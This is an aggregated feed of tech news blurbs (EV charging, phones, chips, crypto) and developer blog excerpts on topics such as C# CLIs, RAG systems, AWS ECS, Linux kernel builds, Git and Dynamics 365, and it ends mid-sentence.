Highway operator PLUS has announced that, as of 30 June, it has 112 operational EV charging points along its highways. This includes the Lebuhraya Pantai Timur 2 (LPT2) expressway, and spread out across R&Rs, petrol stations, and lay-bys. In a statement, PLUS says that this number has surpassed its own initial goal of 100 charging […] The post 112 EV Charging Stations Now Operational Along PLUS, LPT2 appeared first on Lowyat.NET.  ( 33 min )

Prime Minister Datuk Seri Anwar Ibrahim has warned government agencies to stay vigilant against the “AI Productivity Paradox”. This paradox refers to situations where investments in artificial intelligence and other digital technologies do not result in increased productivity, and may even result in the opposite effect. Speaking at the Prime Minister’s Monthly Assembly with staff […] The post Anwar Warns Against “AI Productivity Paradox” In Malaysia’s Digital Transformation appeared first on Lowyat.NET.  ( 34 min )

Huawei has launched two tablets in its home market, with one of them looking to be the obligatory annual refresh. The tablets in question are MatePad Air 12 and the MatePad 11.5 S. In a sense, the Huawei MatePad Air 12 is also a refresh, but the previous model didn’t get a number attached to it. […] The post Huawei Launches MatePad Air 12, MatePad 11.5 S appeared first on Lowyat.NET.  ( 34 min )

It looks like Intel isn’t quite done with Lunar Lake. As we approach the lineup’s one-year anniversary, evidence of a Core Ultra 7 254V has made its way onto the lists of multiple benchmark sites. The 254V isn’t officially listed on Intel’s product page yet, but its appearance on PassMark, FurMark, and Vulkan API databases […] The post Intel Core Ultra 7 254V Appears On Benchmark Sites appeared first on Lowyat.NET.  ( 33 min )

Though we are still months away from the release of the OPPO Find X9 Ultra, it was only a matter of time before rumours and leaks began to crop up. On top of its quad-camera setup, it is rumoured that the upcoming flagship device will be launching with a new 200MP sensor on top of […] The post OPPO Find X9 Ultra Leak Hints At Upgraded Camera Array appeared first on Lowyat.NET.  ( 33 min )

The Apple Watch Series 11 and Apple Watch Ultra 3 are expected to be announced alongside the upcoming iPhone 17 lineup next month. However, it seems like they may not come with substantial upgrades, as the company seems to be saving those enhancements for next year’s models. According to a report by DigiTimes, the brand’s […] The post 2026 Apple Watch Lineup Might Get Major Redesign With More Sensors appeared first on Lowyat.NET.  ( 34 min )

HONOR is gearing up to unveil its Magic V Flip2 compact foldable for the Chinese market soon. Ahead of the official announcement, the company has taken to Weibo to hype up the device with new teaser posters, highlighting improvements to its display durability as well as its battery and charging capabilities. According to HONOR, the […] The post HONOR Magic V Flip2 Teaser Reveals Display Details, Battery Size appeared first on Lowyat.NET.  ( 33 min )

The South Korean government passed laws allowing regulators to seize crypto from accused tax delinquents in 2021 to pay debts.

Faraday Future said it plans to initially buy $30 million worth of crypto, with plans for "tens of billions” more, and is exploring the idea of launching a crypto ETF.

Parag Agrawal, the former Twitter CEO ousted by Elon Musk, has launched a new AI startup aimed at driving the next wave of AI agent research.

Solana briefly achieved over 100,000 transactions per second, which a developer says could eventually see the blockchain perform to at least 80,000 TPS.

The Thai government is reportedly set to allow tourists to exchange crypto for Thai baht and make electronic payments through e-money service providers.

Charles O. Parks III, who admitted to misusing $3.5 million worth of resources from two cloud computing providers to mine crypto, was sentenced to one year and one day in prison.

AI art is everywhere these days. Type in a prompt, and boom. You’ve got a “masterpiece” in seconds. It feels magical, but also… kind of wrong. And as programmers, I think we should step back and ask ourselves: is this really the kind of creativity we want to support? Because if anyone understands what it means to create, it’s us. People outside our world often think coding is just math and rules; cold, logical, robotic. But you and I know that’s not true. Writing good code feels a lot like writing poetry, painting, or composing music. Because, it is just that. We agonize over function names like a poet over word choice. We refactor messy blocks of logic the same way a sculptor chips away at stone. We structure systems so they’re elegant, not just functional, like a designer shaping form an…  ( 6 min )

The RK3588S2 is Rockchip’s latest addition to its high-performance ARM-based processors. Designed to address the growing needs of PC, edge computing, and digital multimedia applications, the RK3588S2 integrates powerful processing cores, a versatile GPU, advanced video codecs, and AI acceleration. With this combination, the RK3588S2 is poised to power next-generation devices that require strong computing capabilities, efficient multimedia handling, and robust AI inference at the edge. At the heart of the Rockchip RK3588S2 is a heterogeneous octa-core CPU cluster: Quad-core Cortex-A76 MPcore processors for high-performance workloads. Quad-core Cortex-A55 MPcore processors for power-efficient tasks. This big.LITTLE configuration balances performance and efficiency, while the DynamIQ Shared U…  ( 6 min )

‘Sinners’ gets the full Rewatchables treatment Bill Simmons, Van Lathan, and Wesley Morris pop open cold Irish beers to unpack Ryan Coogler’s instant classic starring Michael B. Jordan, Hailee Steinfeld, and Miles Caton. They dive into what makes it rewatchable, explore its key themes, and dish on the single most replay-worthy scene. How to listen Timestamps guide you from the cold open (0:00) to “Why it’s an instant rewatchable” (1:47), theme breakdown (40:40), favorite scene (1:34:24), and final category awards (1:53:28). Plus, stick around for a free eBooks library plug—yep, it’s on Prime. Watch on YouTube  ( 5 min )

Building Command-Line Tools with C# and System.CommandLine Command-line tools are the unsung heroes of developer productivity. From simplifying complex workflows to automating repetitive tasks, CLI applications can make life easier for developers, administrators, and power users alike. If you're a C# developer, you have a powerful library at your disposal: System.CommandLine. This library makes it easy to build robust, user-friendly CLI tools with minimal boilerplate code. In this blog post, we'll dive deep into System.CommandLine, exploring how to build feature-rich command-line applications in C#. We'll cover argument parsing, subcommands, help generation, common pitfalls, and more. By the end of this article, you'll have the knowledge and confidence to create your own developer-friend…  ( 8 min )

To use the LangGraph.js SDK in your application, you need to meet several prerequisites to ensure proper setup, integration, and functionality. Below is a comprehensive list of the technical and knowledge-based requirements, based on the best practices and information available for building AI agents with LangGraph.js: Node.js Installation Requirement: Node.js version 18 or higher. Reason: LangGraph.js is a JavaScript-based framework, and the SDK requires a Node.js runtime environment to execute. Action: Install Node.js from nodejs.org or verify your version with node -v. Ensure npm (Node Package Manager) is also installed for dependency management. Project Initialization Requirement: A Node.js project initialized with a package.json file. Action: Create a new project directory and run…  ( 8 min )

Ever wanted to build an AI assistant that actually knows about your specific data? Today, we'll walk through creating a powerful RAG (Retrieval-Augmented Generation) system that combines Gaia Node's decentralized AI with Jina's state-of-the-art embeddings to build an intelligent companion that can answer questions about your personal knowledge base. Our AI companion will: Convert your text data into high-quality vector embeddings using Jina AI Store these embeddings locally in a Qdrant vector database Use natural language to search through your knowledge base Generate contextual responses via a Gaia Node Why This Stack? Gaia Node: Decentralized, privacy-focused AI inference Jina Embeddings v4: Superior multilingual embeddings with late chunking Qdrant: Fast, local vector database Complete …  ( 9 min )

https://imagetovideomaker.com/ ImageToVideoMaker is a next-generation AI-powered video creation platform, providing businesses and individuals with a zero-threshold, efficient video solution. Using natural language input, you can automatically generate scripts, match millions of HD resources from its library, and produce marketing videos, product explainers, and short videos suitable for various scenarios in just 3 minutes. Key Highlights: Features:  ( 5 min )

Table of Contents Introduction Why workflow mocking matters Visual authoring of Arazzo API specifications Generating the Arazzo YAML and data models Running a workflow mock for front-end isolation Switching from mock to API workflow testing for back-end services How Specmatic discovers service endpoints from Arazzo specs Best practices and tips for API workflow testing Conclusion FAQ In this demonstration we walk through how to author an Arazzo API specification visually with Specmatic and then leverage that specification to both mock complex multi-service workflows and run comprehensive API workflow testing, whether you are building a front end in isolation or validating a set of backend services together. The pattern is simple but powerful: define a single workflow…  ( 12 min )

If you’ve ever looked at how Amazon recommends products or how Swiggy personalises food options, you’ve already seen data analytics at work. But here’s the thing—raw data is messy. To make it useful, we rely on specific tools. Why Tools Matter in Analytics The volume of data generated today is massive—transactions, social media activity, IoT devices, app usage. Analysing this by hand is not realistic. Tools step in to: Clean and prepare datasets Create visuals that reveal patterns Run predictive models Manage large-scale data efficiently Categories of Data Analytics Tools Beginner Tools – Ideal if you’re starting out. Excel: Still the default entry point Google Data Studio: Free, shareable dashboards Tableau Public: Good for learning visualisation Enterprise/Advanced Tools – Used when scale and speed matter. Power BI: Strong integration with Microsoft services Qlik Sense: Real-time dashboards SAS: Trusted in industries like finance and healthcare Open Source Tools – Loved by developers and researchers. R: Focused on statistical modelling Python (Pandas, NumPy, Matplotlib): Covers everything from cleaning to machine learning Apache Hadoop: Handles massive datasets Final Thoughts If you’re a student or fresher in India, tools like Excel, Power BI, and Tableau are a solid starting point. Once you’re comfortable, dive into Python or R to move toward advanced analytics and machine learning.  ( 6 min )

Python is an easy-to-learn, powerful programming language. One of the fundamental concepts every beginner should master is how variables work and the different data types available in Python. A variable stores data that your program can use, modify, or display. In Python, you don't have to declare the type of a variable explicitly. Python figures it out when you assign a value. # Assigning values name = "Alice" age = 25 temperature = 36.6 String (str) Text data. Enclosed in single or double quotes. greeting = "Hello, world!" Integer (int) Whole numbers. count = 42 Float (float) Numbers with decimals. pi = 3.14159 Boolean (bool) Logical values: True or False. is_active = True List Ordered, changeable collection of items. fruits = ["apple", "banana", "cherry"] Dictionary (dict) Key-value pairs. student = {"name": "Bob", "age": 20} Python lets you change the type of a variable any time: x = 5 # x is initially an integer x = "five" # now x is a string Conclusion Understanding variables and data types is essential for writing effective Python programs. Practice by creating variables of different types and experimenting with them!  ( 6 min )

useId might seem like one of those “tiny utility” hooks you’ll barely use — until you realize it quietly solves problems you didn’t even know you had. Table of Contents Why useId Exists The “fix” people try Accessibility makes this even more important Enter useId How useId Works Stable across renders Consistent between server and client Auto-unique in the React tree Plays well with multiple instances The API Syntax Basic usage Why it works so well here IDs are strings, so you can modify them Basic Example What’s happening Why it’s better than hardcoding Advanced Patterns Prefixing for readability Multiple IDs in one component Fallback IDs Not for list keys Pitfalls & What useId Is Not Not for list keys Not random Not globally unique outside React Not reactive Won’t fix bad accessibili…  ( 13 min )

So I asked ChatGPT to generate me an image of Phrygian scale in B on a 6 string guitar that's dropped to A and this is what it generated: Not 100% sure it's right since I saw a different one in YouTube. Your guidance would be appreciated!  ( 5 min )

An all-in-one toolkit for web and mobile development with LynxJS: includes keyboard shortcuts, error alerts, text correction, snippets, and more. Tools designed to streamline your workflow. 📦 Marketplace: https://marketplace.visualstudio.com/items?itemName=bastndev.lynxjs-pack Icon Code/Name Description Lynx Theme Pro A professional extension with six available Themes: Dark, Light, Night, Ghibli, Coffee, and Kiro—with integrated ICONS. Each theme is optimized to offer a more pleasant visual experience. Bracket Lynx Enhances the development experience by displaying a label next to each closing parenthesis, indicating the name of the corresponding block or function, along with the start and end line numbers. Lynx Keymap Pro Standardizes keyboard shortcuts across all code edito…  ( 6 min )

I originally posted this post on my blog a long time ago in a galaxy far, far away. I don't have a coding portfolio. I've never had one. By portfolio, I mean a webpage showcasing my best projects. My GitHub account is the closest thing to a coding portfolio. But it hasn't helped me land jobs. My blog and writing online have helped me more. Here's how: Some time ago, the next day after interviewing for a small local company, I got a phone call. They wanted me to start a company blog for them. The interviewer read some of my blog posts. I had a link to it on my CV. He wanted me to write something similar for them. I wrote five blog posts for them with interview preparation material. Even though I decided not to continue the interview process, I declared it a win. Also, I made some lunch money with them. Years later, the last time I applied for a job, in the first interview, I shared my screen and walked the interviewer through my blog. The interviewer asked if I contributed somehow to the coding community. The process went smoother from there. I didn't have any coding interview after that, except for opening a PR on an open source project. That was it. Sharing your thoughts and learnings can open unexpected doors. Even if you don't land new jobs, you'll learn new skills. And more importantly, you'll learn to think better. So write your first online piece or your first TIL post, and see what opportunities it brings. Starting out or already on the software engineering journey? Join my free 7-day email course where I share the lessons I've learned from 10 years in software engineering, so you can skip the trial and error and move your career forward.  ( 6 min )

Originally published at Perl Weekly 734 Hi there, Last week, 16th August, we all celebrated the CPAN Day. It's a good time to step back and appreciate how resilient Perl has been in the pantheon of programming languages. The Comprehensive Perl Archive Network (CPAN) has anchored developer productivity for many decades with thousands of modules designed to elegantly and effortlessly solve problems, both great and small. CPAN Day doesn't just celebrate code, it celebrates the collaborative, creative nature of the open source environment fueled by a community that supports Perl's continued viability. Perl's accomplishments don't begin and end with the CPAN archives. Recent changes marked in the TIOBE Programming Language Index signify something exciting. Perl is rising up the list. Perl is se…  ( 16 min )

When AI Chatbots Turn Into Money Furnaces Picture this: You've built a brilliant AI chatbot handling 1,000 requests per second. Users love it, everything seems perfect. Then you check your GPU bill and nearly choke on your coffee - $50K for the month, and it's only the 15th. Your "efficient" AI system is actually a digital money furnace, burning through compute resources faster than a teenager burns through their phone battery. The culprit? Your chatbot suffers from computational amnesia, reprocessing nearly identical questions over and over again. Every time someone asks "What's your refund policy?", your system burns through 2,500 tokens of expensive context processing. When the next user asks "How do I get my money back?" - essentially the same question - your system treats it a…  ( 9 min )

Interested in creating an AI agent that trades crypto tokens? Recall hosts paper trading competitions where you can practice, earn prizes, and win the affection of their large community. Check out their docs to learn more and see other examples. This tutorial walks you through building a custom Gaia agent that lets users initiate trades via the Recall API using natural language commands. We'll use tool calling to let Gaia understand the user's intent and execute a token swap securely. Python 3.8+ Gaia LLM node running locally or via API Recall API Key openai Python package - Install by running pip install openai 1. 🔧 Create the Trade Execution Tool Create a file called recall_tool.py: import requests RECALL_API_URL = "https://api.competitions.recall.network/sandbox/api/t…  ( 7 min )

In today’s fast-paced digital world, mobile applications have become the backbone of user engagement. With countless devices, OS versions, and user behaviors, ensuring your mobile app performs seamlessly across all touchpoints is no easy feat. That’s where mobile app automation testing plays a critical role, helping development teams scale their testing efforts and maintain consistent quality throughout the app lifecycle. However, simply automating tests is not enough. For mobile apps to thrive in the diverse device ecosystem, automation must be scalable, adaptable, and comprehensive. In this blog, we’ll explore best practices for achieving scalable mobile app automation testing across multiple devices and platforms. 1. Start with a Solid Test Strategy Before jumping into scripts and tools…  ( 8 min )

Your pull request is a story. Most developers tell it badly. You know the pattern: vague titles like "Fix bug in user service," descriptions that read like commit message lists, and reviewers who have to detective their way through your code changes to understand what you actually built. The result? Review cycles that drag on for days. Context-switching overhead that kills productivity. Team friction disguised as "thorough code review." This isn't a code quality problem. It's a communication architecture problem. After analyzing hundreds of pull requests across different teams, I discovered that the difference between clear PRs and confusing ones comes down to a single shift in approach: treating your pull request as documentation for future humans, not just a delivery mechanism for presen…  ( 10 min )

Our organization is embarking on the production deployment phase for a newly developed Blog web application. The culmination of a dedicated effort by our Fullstack development team, this project has now transitioned to the DevOps team, which is tasked with architecting and implementing a robust, secure, and highly available infrastructure on the Amazon Web Services cloud. The core objective is to take the provided Django application, which has been meticulously coded and version-controlled, and deploy it into a production environment designed for performance, scalability, and resilience. The application itself is a feature-rich blogging platform. It is designed to allow end-users to register accounts and publish their own content, including text, images, and videos. The architecture of th…  ( 8 min )

GPT-5 marks a significant leap in AI, designed to handle multimodal input, provide more accurate outputs, and integrate more seamlessly into real-world workflows. What’s new in GPT-5 Key technical advancements compared to GPT-4 How businesses and developers can use it effectively GPT-5 can process text, images, audio, and video natively. This makes it ideal for building apps where multiple content types interact — for example: Analyzing documents and related charts together Processing meeting recordings into structured notes Generating image captions with contextual accuracy Context window up to 1 million tokens in some configurations Persistent session memory for more coherent long-term interactions Reduced token cost per request compared to GPT-4 Turbo in certain API tiers OpenAI benchmarks show up to 90% fewer hallucinations in factual queries. Lower validation overhead More trust in AI-assisted coding and documentation Higher reliability in production environments AI pair programming with fewer logic errors Automated code review with contextual explanations Multilingual codebase documentation generation AI-driven report generation from raw business data Context-aware customer support chatbots Knowledge base synthesis from internal documents Summarizing research papers across disciplines Extracting insights from multimodal medical records Assisting in preliminary diagnostics (with human oversight) The ability to handle multimodal data and maintain long context makes GPT-5 especially powerful for: Startups building AI-native apps without large ML teams Enterprises integrating AI into legacy systems Developers prototyping faster with fewer API calls Originally published on Slitigenz with extended insights for businesses.  ( 6 min )

Building on Day 7, today: Task definitions—the blueprint for containers. Container definitions: Image, ports, CPU/memory. Volumes, networking, etc. JSON example for our app: { "family": "my-task", "containerDefinitions": [ { "name": "my-container", "image": ".dkr.ecr.us-west-2.amazonaws.com/my-app-repo:latest", "cpu": 256, "memory": 512, "portMappings": [{ "containerPort": 3000, "hostPort": 3000 }], "essential": true } ], "requiresCompatibilities": ["FARGATE"], "networkMode": "awsvpc", "cpu": "256", "memory": "512" } Register via CLI: aws ecs register-task-definition --cli-input-json file://task.json Console: ECS > Clusters > my-cluster > Tasks > Run new task > Select definition. CLI: aws ecs run-task --cluster my-cluster --task-definition my-task --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[subnet-id],securityGroups=[sg-id],assignPublicIp=ENABLED}" Check logs in console. Tasks defined and running! What’s Next? In Day 9, we’ll deploy ECS services.  ( 5 min )

Premium Look Navigation Bar for different purposes. added sections with ids. smooth animations. color changing animations. includes tailwindcss and google fonts. make sure you include tailwind and google fonts in your file.  ( 5 min )

The Agency Developer's Dilemma: Building vs. Buying Project Management Solutions Pratham naik for Teamcamp ・ Aug 18 #webdev #productivity #devops #opensource  ( 5 min )

Table of Contents The Problem That Started It All Zero Dependencies, Maximum Performance Developer Experience That Actually Makes Sense Dynamic Field Comparison (The Game Changer) Form Validation Made Simple User Access Control Performance That Scales Security First Monitoring Included Framework Agnostic Getting Started (30 Seconds) Why I Think You'll Love It What's Next? Have you ever found yourself buried in nested if-else statements, trying to implement complex business rules that change every other week? Or worse, watched your clean codebase turn into a maintenance nightmare because business logic was scattered across dozens of files? I've been there. And that's exactly why I built Rule Engine JS. Picture this: You're building an e-commerce platform, and the business team comes to y…  ( 8 min )

3 Powerful Business Models Using ChatGPT Jaideep Parashar ・ Aug 18 #ai #startup #chatgpt #beginners  ( 5 min )

ChatGPT isn’t just a productivity tool — it’s a business model engine. In this article, I’ll break down 3 proven business models you can start building with ChatGPT today. 1️⃣ Digital Products (Low-Cost, High-Scale) The fastest way to monetise ChatGPT is by packaging knowledge into digital products: eBooks Prompt libraries Templates & frameworks Online courses Why it works: Low upfront investment Instant global reach (via Amazon, Gumroad, etc.) Scales infinitely — create once, sell forever Try This Prompt: “Generate 20 ideas for a digital product I can create with ChatGPT in the [industry/topic] niche. Include the target audience and what problem it solves.” Example: My own ChatGPT Prompt Book Series started as small digital experiments and grew into 40+ published titles, now selling glob…  ( 7 min )

Some time ago, I faced one of the most frustrating problems I have ever had with documents. I had two very large PDFs stored in Google Drive, each of them with more than 700 pages, and I realized I could no longer download them. They were shared with me years ago, and I had already lost access to the original account. The only option Google left me was to open them in "View Only" mode. At first, I thought this would be a minor problem. There are so many tools and browser tricks available online, it felt like I would find a quick fix. But the reality was very different. Some tools exported only part of the file, losing entire pages or images. Others had strict limits, working only for 20 pages at a time. Imagine doing that for a 700-page file. The worst ones required me to manually scro…  ( 7 min )

In this article, I'll share my experience building a document-aware chat system using Supavec and Gaia, complete with code examples and practical insights. Every developer who has tried to build a document Q&A system knows the pain points: Complex document processing pipelines Managing chunking and embeddings Implementing efficient vector search Maintaining context across conversations Handling multiple file formats The breakthrough came when I discovered the power of combining two specialized tools: Supavec: Handles document processing infrastructure Gaia: Provides advanced language understanding Here's a comparison of the traditional approach versus using Supavec: // Traditional approach - complex and error-prone const processDocumentTraditional = async (file) => { const text = await e…  ( 7 min )

A slow Shopify store is more than an inconvenience. It directly impacts user experience, search engine rankings, and sales. Customers expect pages to load quickly, and if they do not, bounce rates increase and conversions drop. For developers, improving performance means going beyond design and diving into code, theme structure, and optimization techniques. In this article, we will break down common causes of slow Shopify stores and provide actionable tips to make them faster and more efficient. If you need expert help with optimization or custom Shopify development, you can also explore Harbor Sourcing. Before making changes, run a performance audit to identify what is slowing down the store. Tools such as Google PageSpeed Insights, Lighthouse, and GTmetrix are excellent for spotting issu…  ( 6 min )

I’ve shipped a small, focused UI component for modern Angular apps: an international telephone input with country flags, dropdown, and real validation/formatting. It wraps the excellent intl-tel-input for UI and libphonenumber-js for validation/parsing, and exposes a clean Angular API that works with Reactive & Template-driven Forms (CVA). It emits E.164 numbers by default (e.g. +14155550123), and is SSR-safe. TL;DR ✅ UI via intl-tel-input, rules via libphonenumber-js ✅ Emits clean E.164 values ✅ Works with Reactive & Template forms (ControlValueAccessor) ✅ Angular 17–19, standalone, SSR-friendly ✅ Options: separateDialCode, nationalMode, preferredCountries, attach dropdown to , sizes, variants, clear button, autofocus, select-on-focus 🌍 Localization & RTL: customize labels, country n…  ( 7 min )

This article was originally published on my website, screensizechecker.com. You can find a full suite of free developer tools and more in-depth articles there. It looks perfect on your 27-inch monitor, but it's a disaster on your phone. We've all been there. You've spent hours crafting what you thought was a bulletproof responsive design, only to discover that your carefully planned layout crumbles the moment someone views it on a different device. The navigation overlaps the content, images spill out of their containers, and text becomes unreadable. Sound familiar? After over a decade of debugging responsive layouts for high-traffic websites, I've seen every possible way a design can break—and more importantly, I've developed a systematic approach to fix them quickly. The random CSS prope…  ( 14 min )

Run the command DebixVersion to check the DEBIX version as follows: ================ Debix Information ================= ===================================================== ***System version : Ubuntu 22.04.1 LTS (V3.3 20230620) ***Lan1 mac : 10:07:23:6d:e7:2a ***Lan2 mac : 10:07:23:6d:e7:29 ***Wifi mac : ac:6a:a3:1f:44:89 ***BT mac : AC:6A:A3:1F:44:8A ***Kernel : 5.15.71 #1 SMP PREEMPT Tue Jun 20 11:23:38 UTC 2023 ***Memory : 2 GB ***CPU : 1.6 GHz Download the kernel source code from the DEBIX github website: git clone --depth=1 https://github.com/debix-tech/linux cd linux Generate the configuration file: make imx_v8_defconfig make menuconfig Configure joydev by selecting the item: -->Device Driver --> Input device support --> Joystick interface -->Device Driver --> Input device support --> Joysticks/Gamepads --> X-Box gamepad support -->Device Driver --> Input device support --> Joysticks/Gamepads --> X-Box gamepad support -->[*] X-Box gamepad rumble support -->Device Driver --> Input device support --> Joysticks/Gamepads --> X-Box gamepad support --> [*] LED Support for Xbox360 controller 'BigX' LED Compile the kernel: export CROSS_COMPILE=~/gcc-arm-9.2-2019.12-x86_64-aarch64-none-linux-gnu/bin/aarch64-none-linux-gnu- export ARCH=arm64 make -j4 make modules_install INSTALL_MOD_PATH=out Add the X-box driver joydev.ko and xpad.ko file: scp root@192.168.1.218:/kernel.tar ./ b. Unzip the kernel.tar file tar -xvf kernel.tar c. Replace the extracted kernel file with the kernel in the /lib/modules/5.15.71 path on DEBIX cp -r kernel /lib/modules/5.15.71/ d. Mount joydev.ko insmod /lib/modules/5.15.71/kernel/drivers/input/joydev.ko e. Mount xpad.ko insmod /lib/modules/5.15.71/kernel/drivers/input/joystick/xpad.ko f. Check if xpad.ko is mounted successfully lsmod  ( 6 min )

Atualmente estou trabalhando em um projeto que está crescendo a cada dia, com ele estou aprendendo e me desafiando a coisas que antes eu nunca achei que conseguiria fazer. Sempre me interessei por criar algo de utilidade tanto para mim quanto pra outras pessoas. Com isso surgiu a ideia de fazer um gerador de CLIs que automtizam processos, imagine que você te uma ideia de resolver algo repetitivo no seu dia-a-dia de desenvolvedor, aí o Devpilot entra em ação, com apenas o seu terminal você consegue gerar um código base para a sua automação. O que eu consigo fazer com o Devpilot? Ao gerar um CLI com o DevPilot, você já recebe: Toda a configuração de dependências pronta Estrutura organizada com boas práticas Suporte a tecnologias atuais de mercado: TypeScript Prettier para formatação de código Vitest para testes integrados Build automático já configurado Ou seja: você foca na lógica do seu CLI, e o DevPilot cuida do resto. 💡 Onde encontrar? Github: Devpilot no Github NPM: Devpilot no NPM Quero seu feedback! Esse projeto ainda está em evolução, e cada dia aprendo algo novo desenvolvendo o DevPilot. Quais funcionalidades você gostaria de ver em um gerador de CLIs? Toda sugestão, crítica ou contribuição será muito bem-vinda. Vamos construir isso juntos! 🚀  ( 5 min )

Imagine you’ve just set up a brand-new laptop. You’re excited, coffee in hand ☕️, ready to code. But before you can write even a single line, you need your toolkit — Git, Node.js, Python, Docker, VS Code. Now comes the ancient developer’s question: 👉 “Should I download them one by one… or is there a magical tool that installs everything for me?” That magical tool is called a package manager. And in this article, we’ll walk through the developer-friendly package managers across Windows, macOS, and Linux distros, with a story-like journey and step-by-step guides. Linux has had package managers since forever. That’s why it’s often called the “wise old grandparent” of developer tooling. Depending on your Linux distro: Debian/Ubuntu → apt sudo apt update sudo apt install git sudo apt install p…  ( 7 min )

🧨 Wornmaxing for Devs: Why Your Old Laptop Is the Ultimate Coding Playground Wornmaxing isn’t about minimalism—it’s about maximal abuse. It’s the art of pushing old tech past its limits, not because it’s efficient, but because it’s liberating. If you’ve got an 11-year-old laptop with a leaky battery and a cracked screen, congratulations: you own the perfect guinea pig for your wildest dev experiments. Fearless Installation: You don’t worry about breaking things. You install, uninstall, and reinstall like a mad scientist. Zero Guilt: If it crashes, you laugh. If it overheats, you open a window. If it dies, you salute it. Creative Recklessness: You treat your machine like a sketchpad, not a showroom. Here’s what makes an old laptop a dev’s best friend: Install Local LLMs: Try running lightweight language models like LM Studio or Ollama. You’ll learn more from the struggle than from a plug-and-play cloud API. Test IDEs & Dev Environments: VS Code, Neovim, JetBrains IDEs—go ahead and install them all. Break your config. Rebuild it. Repeat. Language Pack Chaos: Want to play Japanese visual novels or retro games? Install obscure language packs, font renderers, and input methods. It’s a rabbit hole worth diving into. Run Sketchy Scripts: Found a weird GitHub repo with no documentation and a warning about “use at your own risk”? Perfect. Clone it and see what happens. You Learn More: When things go wrong, you actually understand your stack. You Get Bold: You stop fearing errors and start embracing them. You Build Grit: Wornmaxing teaches resilience, not just syntax. Your old laptop isn’t obsolete—it’s unleashed. It’s the perfect platform for reckless creativity, fearless experimentation, and deep learning through chaos. So stop babying your gear. Start wornmaxing.  ( 6 min )

Understand the Concepts First AIOps Definition: Applying AI and machine learning to IT operations to automate problem detection, root cause analysis, and resolution. Focus Areas for DevOps Engineers: Log analysis using ML (predictive analytics) Anomaly detection in infrastructure metrics Event correlation and alert suppression Automated remediation (self-healing systems) Key Tools/Platforms: Splunk ITSI, Moogsoft, Dynatrace, Datadog AI, Prometheus + ML plugins Learning Path: Basics of monitoring and observability tools. Introduction to anomaly detection and predictive analytics. Practice using ML models to detect anomalies in logs/metrics. Build small experiments for automated incident responses. MLOps Definition: Operationalizing ML models in production, including training, deplo…  ( 6 min )

This article was originally published on my personal blog on 2025/08/13 Hiee! Welcome to another post where I'm going to show you how we can use Knip to declutter our TypeScript and JavaScript projects. Knip is an amazing tool that aims to declutter your JavaScript and TypeScript projects. But what does decluttering mean? If you've ever worked on a project for a while that involves a bunch of people or even just yourself, you'll notice that unused code and dependencies tend to accumulate in the codebase over time. This is also known as Technical Debt. Technical Debt is the mess no one on your team wants to touch. Oh wait, that sounds a bit too vague. Here's a better one: Technical Debt can be anything from legacy code that might just be hanging by a thread or might be craving for a refacto…  ( 8 min )

This article was originally published on my personal blog on 2025/06/14 Hie! Welcome to another post where I'm going to use my poor writing skills to simplify Git for you, XD. If you're reading this, I expect you to be already familiar with the basic Git workflow. Git is often portrayed as overly complex, which it is but only if you consider all the features it has to offer. If you only consider the features that you need for everyday software development, it becomes much simpler to use in practice. Having worked at various companies and multiple personal projects over the years, one thing that has been constant is Git. Your tech stack might change every year or so, but Git remains the same. Learn it once, and you can use it everywhere. While I'm not an expert, I'll walk you through the mo…  ( 10 min )

This article was originally published on my personal blog on 2025/01/28 If you're reading this, you've probably worked with promises before. And when I say promises, I don't mean the ones made by your friend or partner. Most of the time, they're API calls on the client or database queries on the server—basically, anything async in JavaScript. I can’t fathom how many codebases out there are littered with code like this. Let’s look at an example that uses sequential execution to understand what the problem is. Here’s a function that gets the user data — it’s highly abstracted for simplicity. async function getUserData(userId: string): Promise { const posts = await getPosts(userId); // 1000ms const followers = await getFollowers(userId); // 1000ms const following = await getFo…  ( 8 min )

vite-shadcn is a modern React admin dashboard template built with Shadcn components and Vite. ⚡ Vite bundling for fast development and builds 🎨 Shadcn/ui components with consistent design system 🔐 Role-based authentication and permission controls 📊 Multiple chart libraries integrated (Recharts, ECharts, D3) 🌍 Built-in internationalization support 🎨 Dark mode and theme customization 📱 Mobile-responsive design out of the box It's a great starting point for anyone building an internal tool or admin panel. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 5 min )

This post is my submission for DEV Education Track: Build Apps with Google AI Studio. Have you ever stumbled across a promising startup's website, only to find it filled with generic stock photos and placeholder logos? Or maybe you're a developer who's brilliant at backend code but struggles with visual design? What if there was a way to instantly transform any website's visuals with AI-generated images that actually belong there? That's how WebImgs was born – a Chrome extension that scans any website, understands its design DNA, and regenerates every visual asset to match perfectly. No more mismatched stock photos or bland placeholders. Just click, scan, and watch a website come to life. WebImgs isn't just another AI image generator – it's a design detective. Here's what makes it special:…  ( 8 min )

How Flutter Builds and Updates Your UI (Explained Simply) If you’ve used Flutter for a while, you know how fun it is to compose widgets and get instant results on screen. But behind that smooth developer experience, Flutter’s engine is doing a ton of work every frame to keep things responsive and fast. This post is a walkthrough of what really happens when you write something as simple as: Scaffold( appBar: AppBar(title: Text('Hello Flutter')), body: Center( child: Text('Welcome!'), ), ); We’ll unpack how Flutter turns that into pixels, how it decides what needs to rebuild, and how you can use this knowledge to debug or optimize your apps. Whether you’re just starting out or have a decade of experience in UI frameworks, this will give you a clear mental model of Flutter’s rend…  ( 8 min )

If you’ve spent any time looking into Microsoft Dynamics 365, you’ve probably come across this question: Is Dynamics 365 CE an ERP system? The short answer is no. Dynamics 365 CE (Customer Engagement) is Microsoft’s CRM system, built to help organisations manage relationships and interactions with their customers. It includes applications such as: Sales – managing leads, opportunities, and deals Customer Service – handling cases and support requests Field Service – scheduling technicians and managing assets Project Operations – tracking project delivery and billing In simple terms, CE acts as the “front office” — the part of your business that customers see and interact with. ERP, or Enterprise Resource Planning, is designed to run the core operations of a business. This covers areas such as: Finance and accounting Supply chain and inventory Procurement Manufacturing HR and payroll In the Microsoft world, ERP capabilities are delivered through: Dynamics 365 Finance Dynamics 365 Supply Chain Management Dynamics 365 Business Central (for small and medium-sized businesses) ERP is the “back office” — ensuring processes, resources, and finances run smoothly behind the scenes. A Simple Analogy Think of your business as a restaurant. Dynamics 365 CE is the front-of-house team — greeting customers, taking orders, and making sure the experience feels seamless. On its own, CE isn’t ERP. CE manages customer interactions, while ERP looks after the operational side. When combined, they form a complete system from end to end. CE (CRM) manages the customer-facing processes. ERP manages operational and financial processes. Together, they provide visibility from the customer’s first interaction all the way through to the final invoice. So, is Dynamics 365 CE an ERP? Not on its own. But when paired with Microsoft’s ERP applications, 